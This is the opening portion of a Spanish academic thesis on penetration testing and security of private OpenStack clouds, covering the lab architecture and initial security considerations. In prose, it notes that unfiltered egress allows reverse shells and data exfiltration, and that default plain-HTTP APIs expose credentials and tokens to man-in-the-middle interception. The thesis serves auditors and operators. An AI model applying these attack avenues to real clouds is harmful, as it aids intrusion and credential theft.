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Resumen

El uso de sistemas de virtualizaciéon basados en nube es cada vez mas comtn tanto en
la variante publica como privada, siendo para este tltimo caso OpenStack el sistema de
software libre mas utilizado. En el ambito de la seguridad no existe mucha literatura acerca
de nubes privadas ya que la informacion disponible estd més orientada a nubes publicas,
especialmente en materias de configuracion y servicios disponibles en la plataforma,
obviando su infraestructura al asumir que ésta es completamente segura.

En este trabajo se realizard un anélisis de una instalacion de referencia de OpenStack,
utilizando como foco principal el propio sistema de nube en lugar de los recursos que éste
provee. El objetivo serd tratar de definir una posible metodologia para un analista de
seguridad que deba llevar a cabo una auditoria en un entorno de estas caracteristicas, asi
como de proporcionar una mayor vision de posibles amenazas a un operador responsable de
la seguridad de este tipo de nubes.

En primer lugar se daran unos conceptos basicos acerca de la arquitectura de una nube
OpenStack, detalles del entorno de laboratorio desplegado para la realizacion de pruebas,
y una serie de consideraciones de seguridad iniciales con las fortalezas y debilidades de los
entornos de nube.

Tras esto se indicaran una serie de acciones iniciales de enumeracion para llevar a cabo
durante una auditoria desde diferentes puntos de vista de la infraestructura y niveles de
acceso, y se estudiaran posibles ataques siguiendo esta misma organizacion.

Posteriormente se proporcionarda un diagrama con una posible secuencia de intrusion
completa, partiendo de una maquina virtual servida por la nube y llegando hasta el
nodo utilizado para el despliegue de la misma, desde el que seria posible controlar la
infraestructura al completo. Se observard que para el entorno analizado es posible ganar
acceso en ciertas circunstancias al sistema de gestion de la nube y realizar movimientos
laterales en la infraestructura, pero que existe cierta dificultad para acceder a esta tltima
disponiendo de acceso al sistema de gestion.

Finalmente se facilitard una serie de indicaciones para protegerse de los ataques descritos,
y se recomendarén ciertas acciones a llevar a cabo en caso que el sistema de nube haya sido
comprometido por un atacante.
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Capitulo 1. Introduccién

1.1. Introduccion

Hace ya anos que muchas empresas utilizan sistemas de virtualizaciéon para gestionar
de manera maéas eficiente su hardware. En muchas ocasiones, los sistemas virtualizados
contintan empleando un paradigma de servidores monoliticos, en los que una maquina
virtual aloja los diferentes servicios (frontend, backend, base de datos...) que dan soporte
a una Unica aplicacion. La apariciéon de nuevos paradigmas como el de los microservicios
(en el que cada servicio se encuentra alojado en su propia méquina virtual o contenedor)
hace necesaria la adopcién de nuevos mecanismos de automatizacion para el despliegue de
servidores, al necesitar un mayor niimero de éstos.

Los sistemas de computaciéon en nube surgen como respuesta a las limitaciones que
poseen los sistemas de virtualizacién tradicionales, ya que éstos permiten aprovisionar un
gran nimero de servidores de forma sencilla y automatizada. Esto no solo ahorra tiempos
de configuracion e instalacion de nuevas méaquinas virtuales, sino que también evita errores
derivados de la realizacion de intervenciones manuales repetitivas. Ademas, estos sistemas
posibilitan que la creaciéon de nuevas maquinas virtuales no dependa de departamentos
especializados, sino que los usuarios finales pueden disponer de una serie de imagenes de
sistemas operativos o aplicaciones ya definidas y crear sus propias méquinas virtuales en
base a las cuotas de uso que tengan asignadas.

Cuando se habla de sistemas de nube se utilizan en muchas ocasiones los conceptos de
Infrastructure as a Service (laaS), Platform as a Service (PaaS) y Software as a Service
(SaaS). El primer modelo hace referencia a aquellos sistemas que permiten crear bajo
demanda recursos tipicos de un centro de datos virtualizados (servidores, almacenamiento,
redes...), el segundo a aquellos en los que se proporciona el motor de ejecucion ya instalado
(como un servidor de aplicaciones) y el tercero a aquellos en los que se proporciona
directamente la aplicacion (email, procesadores de texto online...).

Los sistemas de nube conocidos son sobre todo aquellos que se utilizan de forma
publica. Existen proveedores que disponen de grandes nubes (como Amazon Web Services,
Google Cloud o Microsoft Azure) que proporcionan servicios en los tres modelos descritos
en el parrafo anterior. Son de especial interés aqui los sistemas de IaaS, ya que estos
permiten disponer de infraestructura propia sin tener que desembolsar grandes cantidades
en servidores fisicos, datacenters o equipos de mantenimiento. Esto es de gran utilidad
para particulares o pequenas empresas que dispongan de medios limitados, o para grandes
empresas que tengan picos de cargas de trabajo y necesiten una capacidad adicional de
computacion.

Por otro lado, al igual que muchas empresas disponen de una infraestructura de
virtualizacion tradicional propia, existen sistemas de virtualizacion en nube privados
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para aquellas empresas que tengan mayores necesidades de automatizacion a la hora de
desplegar sus servicios. Estos sistemas son menos conocidos, ya que hay pocas empresas que
tengan dichos requisitos, y tipicamente requeriran inversiones elevadas en infraestructura,
formacion, personal, etcétera. Es por ello que solo se encontraran en grandes empresas de
sectores tales como banca, seguros o telecomunicaciones, que pueden afrontar estos retos.

Un sistema de nube privado puede ser utilizado por ejemplo para desplegar arquitecturas
basadas en micro-servicios, para alojar datos o cargas de trabajo que por requisitos de
privacidad no puedan estar ubicados en sistemas publicos, o también para casos muy
especificos como serfa el despliegue de una infraestructura para virtualizaciéon de funciones
de red (siguiendo el estandar NFV MANO [1]), utilizado por ejemplo en implantaciones de
5G.

En cuanto a consideraciones de seguridad, las nubes publicas suelen estar gestionadas
por gigantes tecnolégicos que invierten grandes cantidades de dinero en securizar sus
infraestructuras, dejando al usuario tnicamente la gestion de la seguridad de las capas
superiores. Esto hace que los sistemas publicos sean seguros generalmente, puesto que solo
seran necesarias una serie de consideraciones relativamente pequena para mantener esta
seguridad, y generalmente se podré gestionar mediante herramientas sencillas desarrolladas
por el propio proveedor de nube.

Las nubes privadas sin embargo, pueden ser entornos poco seguros, aunque esto pueda
parecer contradictorio. Dado que se trata de sistemas complejos en los que la seguridad
depende integramente del equipo que los gestione, y puesto que suelen ser entornos poco
comunes que requieren conocimientos muy especializados, es muy posible caer en errores de
diseno o configuraciéon que permitan a un atacante acceder o manipular dicho entorno y las
méaquinas virtuales o datos que alberga.

También, la habitual falta de una cultura de seguridad (especialmente en entornos
innovadores), junto con la falsa sensacion de seguridad que pueda dar un entorno privado
hace que se puedan descuidar los controles a implantar sobre el mismo, obviando por
ejemplo la amenaza de actores internos, tales como empleados de la compania o personal
subcontratado de la misma.

1.2. Motivacién y objetivos

En un proceso de anélisis de la seguridad de un determinado entorno de software, es
generalmente el equipo especialista encargado de dicho entorno el responsable de verificar
que se han aplicado los controles adecuados y que éstos se encuentran implementados
correctamente. Posteriormente es recomendable llevar a cabo lo que se conoce como un test
de penetracion, en el que otro equipo (propio o externo) tratara de romper la seguridad de
dicho entorno para comprobar la efectividad de los controles implantados.

El perfil del penetration tester (o pentester) que lleva a cabo este tipo de pruebas suele
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ser el de un analista multi-disciplinar, que dispone de conocimientos técnicos en diferentes
areas (web, moviles, sistemas operativos...). Aunque cada analista podré estar especializado
y tener conocimientos mas profundos en una o varias areas, en muchas ocasiones deberé
enfrentarse a auditorias en entornos para los que no disponga de informaciéon o experiencia.

En estas situaciones, lo habitual serd realizar una documentaciéon previa del entorno
a analizar, combinada con la lectura de recursos mas enfocados a tests de penetracion
en forma de articulos especificos y guias cortas o cheat sheets. Uno de los ejemplos mas
claros de esto tltimo es la recopilacion de cheat sheets realizada por la fundacion OWASP [2].

Realizando una busqueda de este tipo de recursos orientados a tests de penetracion
en entornos cloud, se ha podido encontrar sobre todo informacion relativa a auditorias en
entornos de cloud piblicas como AWS o Azure, como por ejemplo las guias del repositorio
de GitHub PayloadsAllTheThings |3|. Cursos de pentesting en entornos cloud como el del
SANS Institute |4] se encuentran también muy enfocados a clouds piblicas.

Tratando de localizar trabajos que definan metodologias de pentest en nubes privadas
OpenStack, se ha podido encontrar tunicamente un paper titulado Cloud Penetration
Testing |5| de dos investigadores de la universidad Johns Hopkins. Este documento sin
embargo mas que un test de penetracion lo que aborda es un anélisis de la aplicacion
de diferentes herramientas de fuzzing sobre varios servicios de la plataforma y el robo de
credenciales mediante sniffing. Ademas, este documento fue redactado en 2012 para una de
las primeras versiones de OpenStack, con lo que podria considerarse algo obsoleto.

En vista de la falta de informacion que existe acerca de la seguridad en entornos de nube
privada, especialmente desde el punto de vista de un hacker ético, se ha decidido realizar
este trabajo en el que se analizaran ciertos problemas de configuracion y diseno, y en el que
se trataran de proporcionar ciertas directrices acerca de como abarcar un proceso de pentest
sobre un entorno de cloud.

El objetivo sera que un analista sin conocimientos especializados en este tipo de entornos
disponga de un documento que le permita conocer rapidamente las particularidades de una
cloud privada en materia de seguridad, y que le proporcione una base para poder llevar a
cabo un test de penetracién de forma exitosa.

1.3. Contenido del documento

Ademés de esta seccion introductoria, en el presente documento podran encontrarse los
siguientes capitulos:

= Capitulo de fundamentos, en el que se dardn unas nociones iniciales del software a
analizar, se describird el entorno de laboratorio utilizado y se proporcionarén otras
alternativas de software.
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= Capitulo de consideraciones iniciales, en el que se proporcionaran una serie de detalles
a tener en cuenta antes de llevar a cabo un test de intrusién en una nube privada
OpenStack.

= Capitulo de enumeracion, en el que se indicaran una serie de acciones a llevar a cabo
durante la primera fase de las pruebas para identificar las particularidades del entorno
a examinar.

» Capitulo de ataques, en el que se propondran una serie de acciones para explotar
ciertas vulnerabilidades, asi como un diagrama con los posibles movimientos laterales
que puedan llevarse a cabo en la plataforma.

= Capitulo final, en el que se indicaran una serie de mitigaciones para los ataques
descritos, se realizard una propuesta de planificaciéon y coste para una auditoria en
una nube privada, y se proporcionaran una serie de conclusiones obtenidas durante el
desarrollo de este trabajo.

= Anexos con acrénimos y fragmentos de codigo utilizados en este documento.
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Capitulo 2. Fundamentos

2.1. OpenStack

Para este proyecto se analizara la seguridad de una nube basada en OpenStack [6], ya
que es el sistema de nube privada de coédigo abierto que més se utiliza a nivel mundial. Se
trata de un proyecto en el que colaboran bastantes empresas, entre las que se encuentran
los principales desarrolladores de distribuciones Linux empresariales tales como Red Hat,
Suse o Canonical. De hecho son principalmente estas empresas las que ofertan servicios
profesionales y soporte para OpenStack.

La idea de OpenStack es similar al de una nube publica como Amazon Web Services:
ofrecer al usuario una interfaz grafica o una API a través de la que él mismo pueda generar
sus maquinas virtuales sin depender de otros departamentos. Estas podran crearse en base
a diferentes imagenes de sistema operativo ya configuradas, aunque el usuario podré subir y
utilizar las suyas propias. La diferencia principal con una nube publica radica en que como
se trata generalmente de un servicio interno, a cada usuario o departamento se le asignara
una cuota de uso maxima, en lugar de permitir un uso ilimitado y facturar en base al mismo
(aunque también seria posible configurar una nube privada de esta forma).

OpenStack es un sistema modular y estd compuesto por diferentes proyectos en los que
cada uno se encarga de una funciéon concreta. Los mas importantes son los siguientes:

= Nova: El proyecto con el que comenzé todo. Es el que se encarga de la planificacion
de ejecucion de las méaquinas virtuales, seleccion de hipervisores, migracion entre
hipervisores, etcétera.

= Glance: Servicio que almacena las imagenes de sistema operativo y se las proporciona
a Nova. También gestiona los snapshots de las VMs.

= Neutron: Proporciona servicios de red. Permite crear redes virtuales, comunica entre
redes virtuales y redes externas, da servicios de DHCP, routing...

» Cinder: Permite anadir volimenes de almacenamiento persistence a las diferentes
instancias. Gestiona también el backup de estos voltiimenes.

» Keystone: Servicio de identidad, gestiona los diferentes tenant, usuarios, grupos y
permisos de éstos. También lleva un registro de todos los proyectos disponibles (Nova,
Glance...) y sus direcciones de API.

» Horizon: Interfaz grafica de OpenStack.

Cada proyecto tendra ademas multiples procesos: casi siempre habra uno que se encargue
de gestionar las llamadas a la API y otro que gestione las acciones del servicio, aunque
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puede que existan mas. Como servicios de apoyo se dispondran ademas de un gestor de
colas para la comunicacioén entre diferentes procesos de un mismo proyecto y un gestor de
base de datos para almacenar la informacion de cada uno de ellos.

En el siguiente grafico se pueden observar un resumen de relaciones entre los diferentes

proyectos:
Provides auth Monitor Provides Ul
Registers hadoop Boots data processing
images in instances via . .
| Assigns jobs
to
Saves data.or job
o bmaw i
Provision
Fetchs images Stores Oi'ch?stratles
via images in clusters via
Boots databgse g
] instances via Provides images
Registers guest Swift
images in
Provision VMs : V':{S#Iiggst'o — Backups
Y volumes in
N ( )
sutron Provides network Backups
connection for databases in
J Cinder
Provision, operation
and management
A
Provides PXE
network for
- Orchestration

Figura 1: Arquitectura conceptual de OpenStack |7]

Puede observarse en el grafico algin servicio adicional como Trove para generar bases
de datos o Sahara para desplegar clusters de Hadoop. Existen multitud de proyectos
de este estilo para dotar a una instalacion de OpenStack de nuevas funcionalidades,
aunque los principales son los mencionados en el listado anterior. Este trabajo se centrara
principalmente en estos tultimos, ya que sera los que se encuentren en la mayoria de las
nubes OpenStack y los més interesantes a analizar en materia de seguridad.

En cuanto a arquitectura fisica, un despliegue de OpenStack estéd compuesto tipicamente
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por uno o varios nodos de control y multiples nodos de computo. En los nodos de control se
encontraran en ejecucion la mayoria de los servicios que gestionen la nube, mientras que los
nodos de computo tendran el rol de hipervisores, es decir, donde se ejecutaran las maquinas
virtuales. Los nodos de control suelen estar replicados para proporcionar alta disponibilidad
en caso de fallo.

También puede que existan nodos dedicados para almacenamiento o para trafico de red,
aunque esto serd mas tipico de nubes de grandes dimensiones. Dado que esto es menos
comin, este tipo de nodos quedaran fuera del alcance de este trabajo.

2.2. Entorno de laboratorio

Para llevar a cabo este proyecto, se ha desplegado un entorno de laboratorio con una
instalacion de OpenStack. Para esto, se han empleado los datos del OpenStack Survey [§] y
asi identificar una instalaciéon de referencia.

En primer lugar, observando el sistema operativo sobre el que se ejecuta la nube se
ha observado que CentOS es el mas comun, con un 40% de las instalaciones. Si se tiene
también en cuenta el 15 % de la cuota que posee Red Hat (ya que CentOS y Red Hat son
muy similares) se puede concretar que mas de la mitad de instalaciones se ejecutan en un
SO de este tipo. Es por ello que para el laboratorio se ha decidido utilizar CentOS.

La instalacion se realizard con paquetes proporcionados por los propios repositorios del
SO, ya que es lo mas comin. En cuanto a la version a utilizar se ha decidido instalar Queens,
ya que es la mas comun (un 17 % de instalaciones). Ademaés, las siguientes mas comunes,
Mitaka (también un 17 %) y Newton (un 13 %) son las versiones LTS (Long Term Support)
de las distribuciones de Ubuntu y Red Hat respectivamente. La siguiente version LTS es
Queens en ambos casos, con lo que se espera que gran parte de las instalaciones de Mitaka
y Newton actualicen a Queens en algun futuro. Es por ello que se ha decidido instalar esta
tltima.

En cuanto a proyectos a instalar, nuevamente se ha decidido apostar por los més
comunes, que seran los siguientes: Nowa, Glance, Neutron, Cinder, Keystone, Horizon
y Heat. Ademés habra otra serie de servicios adicionales que seran necesarios para la
instalacion de la nube, esto se explicara mas adelante. En cuanto al driver de red se ha
decidido optar por ML2 con Open vSwitch.

Aunque las instalaciones y configuraciones de OpenStack pueden realizarse de forma
manual, lo més comin serd que se utilice algin tipo de herramienta de despliegue que
automatice el proceso. En el caso de RDO, que es como se conoce la distribucion OpenStack
de CentOS, se utiliza para esto un proyecto adicional conocido como TripleO (OpenStack
on OpenStack).

El funcionamiento de TripleO es el siguiente: se despliega de forma manual un nodo en el
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que se realizara una pequena instalacion de OpenStack conocida como Undercloud. Después
se utiliza esta nube para instalar y configurar automaticamente los nodos de la nube final
(u Owercloud), utilizando para ello imagenes de SO ya generadas de la misma forma que se
harfa con maquinas virtuales. Esto se consigue mediante otro proyecto, Ironic, que permite
realizar instalaciones sobre nodos fisicos mediante un servidor PXE. Ademés utiliza otros
elementos como el gestor de configuracion Puppet o el proyecto Mistral de OpenStack, los
cuales quedaran fuera del alcance de este trabajo.

Para la arquitectura de red se ha utilizado el siguiente gréafico de la documentaciéon de
Red Hat, en el que pueden observarse los requisitos para una instalacién de OpenStack:

COMPUTE i
NODE °

Tenant Internal API Storage Floating IP
network and cluster network (Opt.)
management (Front-End)

CONTROLLER
NODE

m_ Storage External
Management (public API)

SWIFT / CINDER . [ P —— . netwo_rk
STORAGE NODE o (Back-end)

|
Provisioning network ! )
(DHCP + PXE Boot) ' Ezg:ﬁl‘é‘i;ﬁr
m-— \
\
\
CEPH STORAGE . o — .
2 .
ics |
External
Uplink

UNDERCLOUD .
NODE nic2

-----=- Tagged VLAN e Native VLAN

Figura 2: Arquitectura de red de OpenStack @I
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Cabe destacar que la instalacion realizada es diferente a este esquema, ya que no se
utilizaran nodos dedicados de almacenamiento para Ceph, Swift o Cinder ni se agruparan
interfaces en bonds, sino que cada nodo dispondréa tnicamente de dos interfaces. El listado
de redes creadas sera el siguiente:

» Red de aprovisionamiento (verde oscuro en el gréfico): se utilizara para la instalacion de
los diferentes nodos mediante PXE. También se empleara como red de administracion
para conectar por SSH a las méaquinas. Se ha configurado la red 192.168.100.0/24 en
la VLAN 100.

» Red externa (azul claro): seré la utilizada para la comunicacion entre el exterior y la
nube, principalmente para el nodo de Undercloud, la comunicacién de las instancias
con el exterior y el acceso a las APIs publicas de la nube. Red 192.168.110.0/24, VLAN
110.

» Red interna de APIs (verde claro): esta red serd empleada por la nube para la
comunicacion interna entre los diferentes servicios, como por ejemplo la comunicacién
de Nowa entre nodos de computo y de control para la planificacion y ejecucion de
méaquinas virtuales. Red 192.168.120.0/24, VLAN 120.

» Redes de almacenamiento (en naranja): la red de frontend se utilizara para la
comunicacion por iSCSI entre las instancias y el servicio de almacenamiento de bloques
Cinder. La de backend se ha configurado para evitar problemas en el despliegue
pero no se utilizard, ya que se emplea para la comunicaciéon cuando existe un

cluster de almacenamiento (que no sera el caso en este laboratorio). Seran las redes
192.168.130.0/24 y 192.168.140.0/24 respectivamente (VLANs 130 y 140).

= Redes de tenants: la nube permite que cada usuario se cree sus propias redes,
que estaran aisladas entre los diferentes tentant y podran solaparse ademas en
direccionamiento. Para ello se emplean tineles VXLAN entre los nodos de computo, y
entre éstos y el nodo de control que tendra los servicios de routing y DHCP. Esta red

de tenants sera la que se utilice para transportar esta comunicacion VXLAN. Seré la
red 192.168.150.0/24, VLAN 150.

Debido a que solo se dispone de un equipo para la instalacion del laboratorio (un i7-3770
con 16GB de RAM), se realizard una instalaciéon minima que constard de un nodo para
el Undercloud, y un nodo de control y dos de computo para el Overcloud, utilizando para
ello maquinas virtuales. Para la virtualizacion de las VMs (o instancias) de nuestra nube se
deberé utilizar por tanto virtualizaciéon anidada en los nodos de computo.

2.3. Otras alternativas

Aparte de OpenStack, existen por supuesto otras alternativas de nube en el mercado.
Ademas de las nubes publicas més conocidas ya mencionadas en la introduccion (AWS,
Azure, Google Cloud), otros fabricantes disponen de sus sistemas de nubes privada para



Seguridad en nubes privadas basadas en OpenStack 18

aquellas organizaciones que deseen disponer de una cloud en su propio centro de datos.

El principal competidor de OpenStack seria VMware vCloud [10]. VMware es una
empresa veterana en lo que a virtualizacion se refiere, ya que lleva ofertando productos de
este tipo desde hace muchos anos, tanto de uso personal como profesional. Esto la coloca en
una posicién muy comoda, ya que al fin y al cabo una nube es un sistema de virtualizacion,
y VMware tiene ganada la confianza de muchos clientes en este &mbito. Ademés, vCloud
utiliza como base el sistema de virtualizacion tradicional de VMware, con lo que es muy
atractivo para aquellas empresas que ya dispongan de este tltimo.

Hay que indicar que VMware es una empresa que produce software propietario, y vCloud
no es una excepcion. El principal problema de éste comparado con OpenStack es el coste
de sus licencias, ya que es bastante mas elevado que el mantenimiento de OpenStack, al
ser este dltimo de cédigo abierto. Al tener también OpenStack contribucién por parte de
la comunidad, las capacidades que ofrece son muy diversas y maés interesantes que en el
caso de vCloud. Como dato a destacar, VMware dispone también de una solucién de nube
basada en OpenStack [11].

En lo que a proyectos open-source se refiere, OpenStack es la soluciéon mas madura y més
utilizada. Sin embargo existen otras alternativas conocidas, como por ejemplo CloudStack,
lanzada por la fundacion Apache [12]. CloudStack pretende ser un producto més sencillo que
OpenStack (complejo de instalar/mantener), sacrificando flexibilidad en favor de facilidad
de gestion. Este serfa un producto muy ttil para empresas que no disponen de la capacidad
de gestionar una nube OpenStack, que desean disponer de una nube de forma rapida o que
quieran tener un entorno de pruebas en nube sin tener que emplear muchos recursos de
hardware.

Existen otras alternativas diferentes, como por ejemplo OpenNebula [13] o
Eucalyptus [14]. Este altimo sin embargo parece que fue adquirido por Hewlett-Packard,
quien descontinué el producto 2 anos después de su compra, aunque la version libre se
encuentra todavia disponible para su descarga.

Por ultimo hay que indicar que los modelos de nube ptiblico o privado no son mutuamente
excluyentes, ya que existen modelos de nube hibrida. Estos suelen consistir en nubes privadas
que hacen uso de recursos de nubes publicas para cubrir picos de carga de trabajo, para lo
que suele ser necesario algin tipo de solucion software que sea capaz de gestionar diferentes
modelos de nube de forma simultanea. Este tipo de productos sin embargo quedara fuera
del alcance de este trabajo.
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Capitulo 3. Consideraciones iniciales de seguridad

En esta seccion se explicardn una serie de consideraciones iniciales de la seguridad de
una nube desde diferentes puntos de vista. De esta forma se expondran diferentes conceptos
y problematicas que seran de ayuda mas adelante para entender posibles vectores de ataque
a la nube o para poder llevar a cabo ejercicios de pentest de forma exitosa.

3.1. Instancias

Las instancias en una nube son maquinas virtuales al igual que en los sistemas de
virtualizacion tradicional. La gran diferencia es que en un sistema tradicional generalmente
se instala en la méquina virtual un sistema operativo desde cero (o se realiza una copia de
una maquina existente), y en un sistema de nube se suelen utilizan imagenes ya generadas
por el fabricante, o una copia de ésta con algtin paquete adicional.

Estas imégenes generalmente tienen el minimo software necesario para que se ejecute
el sistema operativo (tipicamente Linux), asi como algin servicio para conectar a las
instancias como SSH. En contraste, una instalacion estdndar de un SO suele dejar muchos
més servicios y puertos abiertos ademas del SSH, lo que puede significar tener méas puertas
abiertas al sistema. También la configuraciéon de SSH estandar de una imagen de nube suele
ser mas segura al permitir solo autenticacion mediante clave privada, mientras que en una
instalacion se tendra también autenticaciéon por contrasena mas insegura.

Adicionalmente, en una maquina virtual de un sistema tradicional se suelen instalar
también diferentes agentes (de monitorizacion, de backup...), que suelen tener més problemas
de seguridad que los servicios que incluye el sistema operativo. En un sistema de nube no
se utiliza tanto este tipo de agentes, ya que el propio sistema proporciona métricas de uso y
mecanismos de backup.

Un nuevo concepto en un sistema de nube es el de los grupos de seguridad. Cada
instancia estara asociada a uno o varios grupos, que indicaran para qué protocolos de red o
puertos se permitira el acceso a la instancia, y desde qué origen. Por ejemplo, una instancia
de un servidor web podria estar asociada a un grupo por defecto que permita el trafico
ICMP vy las conexiones SSH, y a otro grupo de servidores web que permita el trafico de
entrada a los puertos 80 y 443 (HTTP y HTTPS).

Esto permite que aquel tréafico no deseado que haya podido llegar hasta la instancia, por
ejemplo porque los firewalls que haya atravesado tuvieran aplicado un conjunto de reglas muy
permisivas, sea detenido antes de que el SO de la instancia lo llegue a procesar. Esto dificulta
en mas medida el acceso no deseado a la misma, ya que si hubiera algin servicio vulnerable
en ejecucion del que no se tuviera conocimiento, el grupo de seguridad evitara su explotacion.
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Es cierto que en algunas distribuciones Linux se encuentra habilitado por defecto iptables
con una serie de reglas que deniegan casi todo el trafico de entrada, que seria un concepto
muy similar al de los grupos de seguridad (de hecho éstos estan implementados con iptables
en los nodos de computo). Sin embargo, aunque recientemente se suelen incluir utilidades
cada vez mas sencillas para gestionar iptables, la tendencia habitual es la de deshabilitar
dicho servicio confiando exclusivamente en los firewall externos.

En cuanto al trafico de salida hay que indicar que, al igual que con iptables, es posible
denegar trafico de ciertos protocolos o a ciertos destinos. Sin embargo lo mas habitual es
mantener la configuracion por defecto, que es permitir todo el trafico saliente, delegando su
filtrado en otros firewalls de la infraestructura (aunque en muchas ocasiones aqui tampoco se
denegard para permitir por ejemplo que las instancias puedan conectar con repositorios de
software publicos). Hay que indicar también que los grupos de seguridad mantienen estado
de conexién. Esto significa que si se detecta un trafico de salida permitido, automaticamente
se creard una regla temporal para permitir el trafico de vuelta de dicha conexion.

Otras consideraciones a tener en cuenta acerca de la red de las instancias es que en un
sistema de nube cada usuario puede crear sus propias redes, que ademas pueden solaparse
en rango de direccionamiento con redes de otros usuarios y que estaran aisladas unas de
otras gracias a tecnologias de encapsulamiento como VXLAN. Esto implica que un sistema
de nube puede tener un nimero de redes mucho mas elevado que en una infraestructura
clasica aislada mediante VLANSs, ya que mientras que esta tecnologia permite hasta 4096
redes diferentes, VXLAN permite unos 16 millones de redes virtuales.

Esto permite alejarse del concepto de redes planas dedicadas a un tipo de servicio o
entorno (red DMZ, red de servidores de backend, de bases de datos...), y emplear un modelo
en el que cada aplicacion pueda utilizar su red o redes propias. Por ejemplo, se puede utilizar
una arquitectura de aplicacion web de 3 capas de red (frontal web, servidor de aplicaciones
y base de datos) en la que ademéas cada aplicacion utilice diferentes redes, como puede
observarse en el siguiente esquema:

Web application 1 Web application 2
Web Web Web Web
server server server server
. . . . Net 1 . . . . Net 4
virtual App App virtual App App
router 1 server server router 2 Server Server
_’T_ | | Net 2 _J‘_ | | Net 5
) )
BD BD BD BD
server server server server
| | Net 3 | | Net 6

Figura 3: Separacion en miltiples redes virtuales
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Con una adecuada configuraciéon de grupos de seguridad se podria indicar que cada uno
de estos servidores solo pueda ser accedido por su capa inmediatamente superior a través un
puerto legitimo. Por ejemplo de esta forma los servidores de base de datos de la aplicacion
2 solo serian accesibles por el puerto 3306 (puerto estandar de MySQL) desde una IP de la
red 5 (app servers de la misma aplicacion).

También hay que indicar que con el uso de redes virtuales y grupos de seguridad es
posible incluso denegar el trafico entre dos servidores que se encuentren en una misma red.
Esto es lo que se conoce como micro-segmentacion de la red, y es una idea impensable en
un segmento de red de capa 2 fisico.

Por ultimo comentar que por defecto la configuraciéon de la nube evita que se pueda
realizar ataques de spoofing de MAC, ARP o IP, lo que dificulta llevar a cabo ataques de
tipo Man-in-the-middle. Esto es configurable, por ejemplo para permitir que una instancia
enrute trafico entre otras o permitir protocolos como VRRP, pero para ello hay que tener
permisos de usuario de nube y ser propietario de la instancia.

Una vez indicado todo esto se podrian obtener las siguientes conclusiones:

= En general las maquinas virtuales de un entorno de nube seran més dificilmente
accesibles que en un entorno maés tradicional. Esto es debido a que las imagenes de
SO tienen una configuracion de SSH mas segura y a que generalmente no tendran més
servicios expuestos que los estrictamente necesarios.

= Para que un atacante obtenga acceso a una instancia generalmente debera explotar
alguna vulnerabilidad presente en el servicio principal que proporcione la instancia,
como por ejemplo una inyeccion SQL en un frontal web.

= Kl trafico de salida no tiene por qué ser un problema, ya que normalmente no estara
bloqueado. Esto permitira comunicar con la instancia a través de una shell inversa o
exfiltrar datos a través de la misma.

» Serd muy complicado realizar movimientos laterales entre diferentes instancias,
especialmente si se han realizado una segmentacion de red y una configuracion de
grupos de seguridad adecuadas.

Visto esto, puede dar la impresiéon que una nube privada es un entorno muy seguro.
Sin embargo, existiran una serie de métodos exclusivos de estos entornos que permitiran
obtener informaciéon sensible o evadir algunas de estas protecciones, lo que se discutira en
secciones posteriores.
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3.2. Sistema de nube

En primer lugar es necesario explicar ciertos conceptos de identidad clave en
OpenStack |[15]. El elemento méas basico es el de usuario, que serd tipicamente un
individuo que consuma recursos de la nube, aunque cada servicio de OpenStack utiliza
internamente también un usuario especifico. Ademas de los usuarios estan los grupos, que
son simplemente conjuntos de usuarios.

Otro concepto de nube es el de proyecto. No hay que confundirlo con los proyectos de
software de los que esta compuesto OpenStack (Nova, Neutron, etcétera), sino que se acerca
més al concepto de tenant, que bésicamente seria una agrupacion de recursos virtuales
(instancias, redes, volimenes...). Para poder hacer uso de los recursos de la nube, un usuario
o grupo de usuarios deberé estar asignado a uno o varios proyectos con un rol especifico.

El propésito de cada proyecto dependeré de la empresa y el uso que se le dé a la nube.
Cada proyecto podra estar asignado a un departamento, a un entorno de desarrollo, o
incluso a diferentes clientes si se les estuviera proporcionando un servicio de IaaS. Debido
a que los usuarios consumen recursos de la nube de forma auténoma, cada proyecto tendra
asignada una cuota de uso de los diferentes recursos, de forma que un tnico usuario no
pueda agotar todos los recursos de la nube.

Los recursos de los diferentes proyectos estaran aislados entre si. Un usuario de un
proyecto no podra utilizar una imagen o una red que pertenezca a un proyecto diferente,
salvo que dicho recurso se haya marcado como “compartido”. Esto ultimo sin embargo solo
podré realizarlo un usuario con rol de administrador.

Finalmente estaria el concepto de dominio. Basicamente seria una separacion de todo
lo anterior: cada dominio tendria sus usuarios, grupos, roles y proyectos. En un despliegue
tipico de OpenStack se suele utilizar un tnico dominio, ya que se trata de un recurso mas
o menos “oculto” (sobre todo en la interfaz grafica) y por simplicidad. Esto se necesita
especialmente en nubes grandes, como por ejemplo para proveedores de nubes publicas
basadas en OpenStack, que necesiten una mayor segregacion logica entre sus diferentes
clientes.

El conocimiento de esta serie de conceptos permitira poder explotar ciertos fallos de
seguridad causados por errores de configuracion, como se vera més adelante.

Como un usuario de sistema de nube, se podra acceder al mismo mediante la interfaz
web Horizon o directamente a través APIs. Tanto las APIs como la interfaz web estan
programadas mediante Python (la interfaz emplea el framework Django), y su codigo es
analizado periédicamente mediante una utilidad conocida como Bandit [16]. Este proyecto
comenzo6 siendo parte del ecosistema de OpenStack para detectar problemas de seguridad,
pero se fue convirtiendo en una utilidad de analisis de c6digo mas general para cualquier
proyecto realizado en Python.
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El hecho que la plataforma esté disenada en Python implica que no posee ciertas
vulnerabilidades propias de lenguajes de bajo nivel, como seria un desbordamiento de buffer
de un programa codificado en C. Ademés, gracias a las auditorias realizadas mediante
Bandit, serda complicado encontrar otras vulnerabilidades propias de Python como el uso
de funciones inseguras tipo ewval, o parametros no controlados en funciones de llamadas a
sistema como 0s.system.

En cuanto a la interfaz gréafica, Django emplea de forma nativa mecanismos para evitar
vulnerabilidades web tipicas, como Cross-Site Scripting (XSS) o Cross-Site Request Forgery
(CSRF) [17]. Por lo tanto sera también complicado explotar este tipo de vulnerabilidades
para tratar de robar credenciales o forzar a un usuario a realizar acciones indeseadas.

El punto de mayor debilidad de las APIs y la interfaz web es que en una instalacién
por defecto se utiliza el protocolo HI'TP para comunicarse con las mismas, con lo que las
peticiones de los usuarios viajaran en texto plano. Esto implica que un atacante que tenga
la capacidad de interceptar la comunicacion y realizar un ataque Man-in-the-middle podria
llegar a obtener datos sensibles, como credenciales de usuario o tokens de acceso.

Este tipo de ataques seran viables segtun el entorno que se encuentre el atacante, ya
que OpenStack permite igualmente configurar los puntos de acceso a las APIs y a Horizon
utilizando HTTPS. Se debera realizar también una configuracién correcta del entorno,
ya que por ejemplo el uso de certificados auto-firmados o la ausencia de cabeceras HSTS
(HTTP Strict Transport Security) podria igualmente facilitar un ataque MITM.

